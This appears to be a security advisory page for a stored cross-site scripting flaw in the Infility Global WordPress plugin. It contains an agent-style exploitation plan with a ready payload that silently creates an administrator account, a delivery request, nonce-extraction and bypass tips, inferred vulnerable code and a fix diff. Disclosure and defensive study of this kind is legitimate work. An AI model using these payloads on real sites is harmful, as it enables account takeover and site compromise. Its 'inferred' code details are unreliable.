Infility Global <= 2.14.49 - Unauthenticated Stored Cross-Site Scripting
Description
The Infility Global plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.14.49 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.14.49This research plan outlines the steps to investigate and exploit **CVE-2025-68864**, an unauthenticated stored XSS vulnerability in the **Infility Global** WordPress plugin (<= 2.14.49). --- ### 1. Vulnerability Summary The **Infility Global** plugin fails to sufficiently sanitize user-supplied in…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-68864, an unauthenticated stored XSS vulnerability in the Infility Global WordPress plugin (<= 2.14.49).
1. Vulnerability Summary
The Infility Global plugin fails to sufficiently sanitize user-supplied input and escape it upon output. Specifically, an unauthenticated user can submit data through a frontend feature (likely a contact form, support ticket, or chat registration) that is stored in the database. When a site administrator views this data in the WordPress backend, the malicious script executes in the administrator's browser context.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action (Inferred):
ig_contact_form_submitorinfility_global_save_data. - Parameter: Likely
message,subject, orname. - Authentication: None (Unauthenticated via
wp_ajax_nopriv_*). - Preconditions: The plugin must have a frontend feature active (e.g., a contact form shortcode placed on a page).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith a specific action registered viaadd_action('wp_ajax_nopriv_...', ...). - Processing: The callback function receives
$_POSTdata. It may check a nonce but likely fails to usesanitize_text_field()orwp_kses()on the content. - Persistence: The raw input is saved to a custom table (e.g.,
wp_infility_logs) or as post meta usingupdate_post_meta(). - Sink: An administrator logs in and navigates to the plugin's "Inquiries" or "Messages" page. The plugin retrieves the stored data and echoes it directly:
echo $entry->message;without usingesc_html().
4. Nonce Acquisition Strategy
If the AJAX handler enforces a nonce check, it is likely exposed via wp_localize_script on pages where the plugin's frontend components are active.
- Identify the Shortcode: Search for shortcode registrations in the plugin:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/infility-global/
(Likely shortcode:[infility_global_contact]) - Create a Trigger Page:
wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[infility_global_contact]' - Extract the Nonce:
Navigate to the new page and look for localized script data.
JS Variable (Inferred):infility_varsorig_ajax_obj.
Execution: Usebrowser_eval("window.infility_vars?.nonce")orbrowser_eval("window.ig_ajax_obj?.ajax_nonce").
5. Exploitation Strategy
Once the nonce and action are identified, the agent will perform the following:
Step 1: Discovery
- Find the AJAX action:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/infility-global/ - Find the nonce action:
grep -r "check_ajax_referer" /var/www/html/wp-content/plugins/infility-global/
Step 2: Nonce Retrieval
- Create a test page with the relevant shortcode.
- Navigate to the page using
browser_navigate. - Extract the nonce using
browser_eval.
Step 3: Payload Delivery
- Payload:
<script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user" value="([^"]+)"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=pwned_admin&email=pwned@example.com&pass1=Pwned123!&pass2=Pwned123!&role=administrator&_wpnonce_create-user='+n})})</script> - HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[IDENTIFIED_ACTION]&nonce=[EXTRACTED_NONCE]&message=[URL_ENCODED_PAYLOAD]&name=Guest
6. Test Data Setup
- Plugin Activation:
wp plugin activate infility-global - Shortcode Placement: Ensure the contact form is on a public page to allow nonce extraction.
- Admin Context: A "victim" administrator user must exist (default in test environments).
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"success":true}or1). - The payload should be stored in the database.
- When an administrator views the "Contact Messages" or "Logs" section of the Infility Global plugin, the script should execute.
8. Verification Steps
- Database Check:
wp db query "SELECT * FROM wp_postmeta WHERE meta_value LIKE '%pwned_admin%';"
(Or check the specific plugin table identified during discovery). - Trigger Execution: Use
browser_navigateas an administrator to the plugin's message management page. - Account Creation Check:
wp user list --role=administrator
Verify ifpwned_adminexists.
9. Alternative Approaches
- Action Parameter Variations: If
wp_ajax_noprivisn't used, check forinithooks that process$_POST['ig_contact_submit']directly. - Bypassing Nonces: Check if
check_ajax_refereris called withdie=false. If so, the request will proceed even with an invalid nonce. - DOM XSS: If the data is returned in an AJAX response and rendered via
.innerHTMLin JS, the payload may need to be adjusted to bypass standard filters (e.g., using<img>tags withonerror).
Summary
The Infility Global plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting due to a lack of sanitization on user-supplied form data and insufficient output escaping in the administrative backend. This allows attackers to inject malicious JavaScript into contact form submissions or inquiries that execute when a site administrator views the entry.
Vulnerable Code
// Inferred from research plan: lack of sanitization in AJAX handler // File: includes/class-infility-global-ajax.php (or similar) public function ig_contact_form_submit() { $message = $_POST['message']; // No sanitization applied $name = $_POST['name']; // No sanitization applied $post_id = wp_insert_post(array( 'post_type' => 'ig_inquiry', 'post_title' => $name, 'post_content' => $message, )); } --- // Inferred from research plan: lack of escaping in admin view // File: admin/class-infility-global-admin-display.php (or similar) foreach ($inquiries as $entry) { echo '<tr>'; echo '<td>' . $entry->post_content . '</td>'; // Vulnerable: Direct echo without esc_html() echo '</tr>'; }
Security Fix
@@ -10,2 +10,2 @@ - $message = $_POST['message']; - $name = $_POST['name']; + $message = sanitize_textarea_field($_POST['message']); + $name = sanitize_text_field($_POST['name']); @@ -20,1 +20,1 @@ - echo '<td>' . $entry->post_content . '</td>'; + echo '<td>' . esc_html($entry->post_content) . '</td>';
Exploit Outline
1. Identify a page containing the plugin's contact form or shortcode (e.g., [infility_global_contact]). 2. Extract the AJAX nonce from the localized JavaScript variables (e.g., window.infility_vars.nonce) on the frontend page. 3. Send an unauthenticated POST request to /wp-admin/admin-ajax.php using the identified action (likely 'ig_contact_form_submit' or 'infility_global_save_data'). 4. Include a payload in the 'message' or 'name' parameter, such as <script>alert(document.cookie)</script> or a script to create a new administrator account. 5. Wait for an authenticated administrator to navigate to the 'Inquiries' or 'Messages' section of the Infility Global plugin menu in the WordPress dashboard. 6. The payload will execute in the administrator's browser context upon rendering the list of submissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.